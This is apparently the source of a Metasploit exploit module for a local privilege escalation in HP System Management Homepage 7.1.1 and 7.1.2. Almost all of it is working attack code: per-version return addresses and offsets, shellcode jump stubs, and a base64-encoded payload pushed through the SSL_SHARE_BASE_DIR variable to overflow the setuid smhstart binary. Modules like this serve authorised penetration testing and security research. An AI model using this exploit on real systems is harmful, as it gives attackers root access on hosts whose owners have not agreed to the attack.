Path: blob/master/modules/exploits/linux/local/hp_smhstart.rb
32010 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Exploit::EXE9include Msf::Post::File1011include Msf::Exploit::Local::Linux1213def initialize(info = {})14super(15update_info(16info,17{18'Name' => 'HP System Management Homepage Local Privilege Escalation',19'Description' => %q{20Versions of HP System Management Homepage <= 7.1.2 include a setuid root21smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR22env variable.23},24'License' => MSF_LICENSE,25'Author' => [26'agix' # @agixid # Vulnerability discovery and Metasploit module27],28'Platform' => [ 'linux' ],29'SessionTypes' => [ 'shell' ],30'Payload' => {31'Space' => 227,32'BadChars' => "\x00\x22"33},34'References' => [35['OSVDB', '91990']36],37'Targets' => [38[39'HP System Management Homepage 7.1.1',40{41'Arch' => ARCH_X86,42'CallEsp' => 0x080c86eb, # call esp43'Offset' => 5844}45],46[47'HP System Management Homepage 7.1.2',48{49'Arch' => ARCH_X86,50'CallEsp' => 0x080c8b9b, # call esp51'Offset' => 5852}53],54],55'DefaultOptions' => {56'PrependSetuid' => true57},58'DefaultTarget' => 0,59'DisclosureDate' => '2013-03-30',60'Notes' => {61'Reliability' => UNKNOWN_RELIABILITY,62'Stability' => UNKNOWN_STABILITY,63'SideEffects' => UNKNOWN_SIDE_EFFECTS64}65}66)67)68register_options([69OptString.new('smhstartDir', [ true, 'smhstart directory', '/opt/hp/hpsmh/sbin/' ])70])71end7273def exploit74pl = payload.encoded75padding = rand_text_alpha(target['Offset'])76ret = [target['CallEsp']].pack('V')77exploit = pl78exploit << ret79exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff1180exploit << "\xe9\x0e\xff\xff\xff" # jmp => beginning of pl81exploit << padding82exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better83id = cmd_exec('id -un')84if id != 'hpsmh'85fail_with(Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")86end87cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")88cmd_exec("#{datastore['smhstartDir']}/smhstart")89end90end919293